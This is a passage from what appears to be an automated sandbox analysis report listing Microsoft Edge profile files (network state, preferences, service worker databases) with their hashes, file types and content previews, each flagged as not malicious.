MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4ca03.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.377017737552836
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6oNgChfYlGFh5oaaw1a:+IEumQv8m1ccnvS6otoKoPr
MD5:	6C1C69161B4E9702D241F8B4BBA261EF
SHA1:	0B95C97FFC9A930BB3BFAD3095297BF0607E6319
SHA-256:	9A4886097B9DA826EEE9697BA92D94935E8A0297E773A5FABC58184EDCF550C8
SHA-512:	F8A6556A672FF32C8F133F3228A31CFB9908BE466FCDE9F7C17281BF02FFE7A171B3ED84C9B08811D6400B26F9A0144CE1B8F1ABE5A1D9B542C78FE795AA23B5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3bae5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ce7c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\bff45595-cbc9-4a30-ab8c-460fac740265.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	5.307172954661666
Encrypted:	false
SSDEEP:	48:YcCpfgCzs21tsffc7RsFIIleeIkEsFIqCgHMywYhbm:F2fj1w22/keIkxxTvRhK
MD5:	9C24A7FAF754300126A61764B5E6DEE8
SHA1:	4CEAFE1A8F229458347D936DE337E03718A602AD
SHA-256:	A008C32019C1E7E962CE03DF335161972EA973A01E590433317C1CEEA22FE22F
SHA-512:	A37FD700B34C93F0BD6C43958C1FAFC799048CCDD035C380E36E530C6C210AA5146067D1E7A74EB107ACC42317A89EB95E7F181A7943EDAC316280C34178D1DD
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379647294424704","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379647297797842","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fcc3eef2-2035-4a0e-af19-324f2955877b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9678
Entropy (8bit):	5.108314014982552
Encrypted:	false
SSDEEP:	192:stukdpgssHZaFvrE9kkfgdo8KbV+FzVQAuUJPNYJ:stuQgssHZCDUtbGRQMA
MD5:	2C29383EBB33E08E54B4AC95436AB9A1
SHA1:	43CFD375534388CA0BC501F4FD34197E6394951D
SHA-256:	B1C744E25F10BAAB9D88B7795A9F00588C7E68C836300132CEB827798EA9D008
SHA-512:	2D6FB09C5DA49CFE92D62274988B5C646A35A3F07A139BC9E84A6CD28DBB84D1755173F4BF9F8E576653D92DFA7180A59585CCC6DDC9B77F4A770C6DD07C5C8E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377055290513809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3fa01.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9678
Entropy (8bit):	5.108314014982552
Encrypted:	false
SSDEEP:	192:stukdpgssHZaFvrE9kkfgdo8KbV+FzVQAuUJPNYJ:stuQgssHZCDUtbGRQMA
MD5:	2C29383EBB33E08E54B4AC95436AB9A1
SHA1:	43CFD375534388CA0BC501F4FD34197E6394951D
SHA-256:	B1C744E25F10BAAB9D88B7795A9F00588C7E68C836300132CEB827798EA9D008
SHA-512:	2D6FB09C5DA49CFE92D62274988B5C646A35A3F07A139BC9E84A6CD28DBB84D1755173F4BF9F8E576653D92DFA7180A59585CCC6DDC9B77F4A770C6DD07C5C8E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377055290513809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4294e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9678
Entropy (8bit):	5.108314014982552
Encrypted:	false
SSDEEP:	192:stukdpgssHZaFvrE9kkfgdo8KbV+FzVQAuUJPNYJ:stuQgssHZCDUtbGRQMA
MD5:	2C29383EBB33E08E54B4AC95436AB9A1
SHA1:	43CFD375534388CA0BC501F4FD34197E6394951D
SHA-256:	B1C744E25F10BAAB9D88B7795A9F00588C7E68C836300132CEB827798EA9D008
SHA-512:	2D6FB09C5DA49CFE92D62274988B5C646A35A3F07A139BC9E84A6CD28DBB84D1755173F4BF9F8E576653D92DFA7180A59585CCC6DDC9B77F4A770C6DD07C5C8E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377055290513809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF460c9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9678
Entropy (8bit):	5.108314014982552
Encrypted:	false
SSDEEP:	192:stukdpgssHZaFvrE9kkfgdo8KbV+FzVQAuUJPNYJ:stuQgssHZCDUtbGRQMA
MD5:	2C29383EBB33E08E54B4AC95436AB9A1
SHA1:	43CFD375534388CA0BC501F4FD34197E6394951D
SHA-256:	B1C744E25F10BAAB9D88B7795A9F00588C7E68C836300132CEB827798EA9D008
SHA-512:	2D6FB09C5DA49CFE92D62274988B5C646A35A3F07A139BC9E84A6CD28DBB84D1755173F4BF9F8E576653D92DFA7180A59585CCC6DDC9B77F4A770C6DD07C5C8E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377055290513809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b6d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9678
Entropy (8bit):	5.108314014982552
Encrypted:	false
SSDEEP:	192:stukdpgssHZaFvrE9kkfgdo8KbV+FzVQAuUJPNYJ:stuQgssHZCDUtbGRQMA
MD5:	2C29383EBB33E08E54B4AC95436AB9A1
SHA1:	43CFD375534388CA0BC501F4FD34197E6394951D
SHA-256:	B1C744E25F10BAAB9D88B7795A9F00588C7E68C836300132CEB827798EA9D008
SHA-512:	2D6FB09C5DA49CFE92D62274988B5C646A35A3F07A139BC9E84A6CD28DBB84D1755173F4BF9F8E576653D92DFA7180A59585CCC6DDC9B77F4A770C6DD07C5C8E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377055290513809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567768041433122
Encrypted:	false
SSDEEP:	768:55mMZAWOqW5wKYf4ud8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP7XI52ThrwXJpftu1:5gQAzqWaKYfjdu1jae4gSvtW
MD5:	28449C87C74BD052B51DA2EC8E7C0358
SHA1:	44E58ACE65A33D42071E14232563D3AF2BBEAE73
SHA-256:	79D73611B8AC4A66FBFE7378DD841C66C2FF188C7DD590D354394ACBC872351F
SHA-512:	A0089B62778C1E62298A8C3E72A03EA7CD838E965AFBC2DB5004677D857F2069CEDFFFFEE0AA4A753FD017627B99A923E099B8F4EEC8E9382E4EE1C483CBBD61
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377055289534545","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377055289534545","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f59c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567768041433122
Encrypted:	false
SSDEEP:	768:55mMZAWOqW5wKYf4ud8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP7XI52ThrwXJpftu1:5gQAzqWaKYfjdu1jae4gSvtW
MD5:	28449C87C74BD052B51DA2EC8E7C0358
SHA1:	44E58ACE65A33D42071E14232563D3AF2BBEAE73
SHA-256:	79D73611B8AC4A66FBFE7378DD841C66C2FF188C7DD590D354394ACBC872351F
SHA-512:	A0089B62778C1E62298A8C3E72A03EA7CD838E965AFBC2DB5004677D857F2069CEDFFFFEE0AA4A753FD017627B99A923E099B8F4EEC8E9382E4EE1C483CBBD61
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377055289534545","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377055289534545","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF43b50.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567768041433122
Encrypted:	false
SSDEEP:	768:55mMZAWOqW5wKYf4ud8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP7XI52ThrwXJpftu1:5gQAzqWaKYfjdu1jae4gSvtW
MD5:	28449C87C74BD052B51DA2EC8E7C0358
SHA1:	44E58ACE65A33D42071E14232563D3AF2BBEAE73
SHA-256:	79D73611B8AC4A66FBFE7378DD841C66C2FF188C7DD590D354394ACBC872351F
SHA-512:	A0089B62778C1E62298A8C3E72A03EA7CD838E965AFBC2DB5004677D857F2069CEDFFFFEE0AA4A753FD017627B99A923E099B8F4EEC8E9382E4EE1C483CBBD61
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377055289534545","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377055289534545","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.7400908617769035
Encrypted:	false
SSDEEP:	3:chltUQ2Hm4kxH4xRNwBgzNnNurkX/8Ct//lFl46JKcZt/FlSFdVVl03nUBcisdty:chXUQI2xH8BzNme/8HILSFd4ddAa1M/
MD5:	0232AE7084C463F1F077141AE2F8E4EA
SHA1:	4B45C6DE4CE2895BD60C2EFB636D95EA6C9EF7F5
SHA-256:	684BB89AC899552393B84CA6F1831E6B2939189427D6585B24BA195F9C89E386
SHA-512:	B2DFA94D7B0EB98F28E8DCC4909CCD4E87424470941DB136E3E36A975AAECCFD92AB8F9109544065FBE66DF8AEC0BC24554A0BA39BBEA9D20A17D95242FDE478
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..?..................URES:0..PRES:0.t.g.;................REG:https://ntp.msn.com/.0..REGID_TO_ORIGIN:0..b8...............J4...................PRES:0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.110566555719852
Encrypted:	false
SSDEEP:	6:HApL5GGmhRM1N723oH+TcwtE/a252KLlVApL59L4q2PN723oH+TcwtE/a2ZIFUv:gBohRsaYeb8xLoBfL4vVaYeb8J2FUv
MD5:	AAA15A38D0FF6AD64E131B3E3100AE9B
SHA1:	517A3E9E0E8404DE056B7D48C42C96AD6058B120
SHA-256:	D1AB0AC6D24855294A8F39A71A5BE7C4C202029B2B48A225B3F584554830FF59
SHA-512:	B213953761039FD0C82A43C6B7D254542AA8DAA8FDF0843E114483A37C20180C8F502082C055B51B675CAE81F0D49231CB8A213BF2E8997FD88AD7BA530A1CB8
Malicious:	false
Preview:	2024/11/25-19:41:49.222 1f24 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/25-19:41:49.235 1f24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
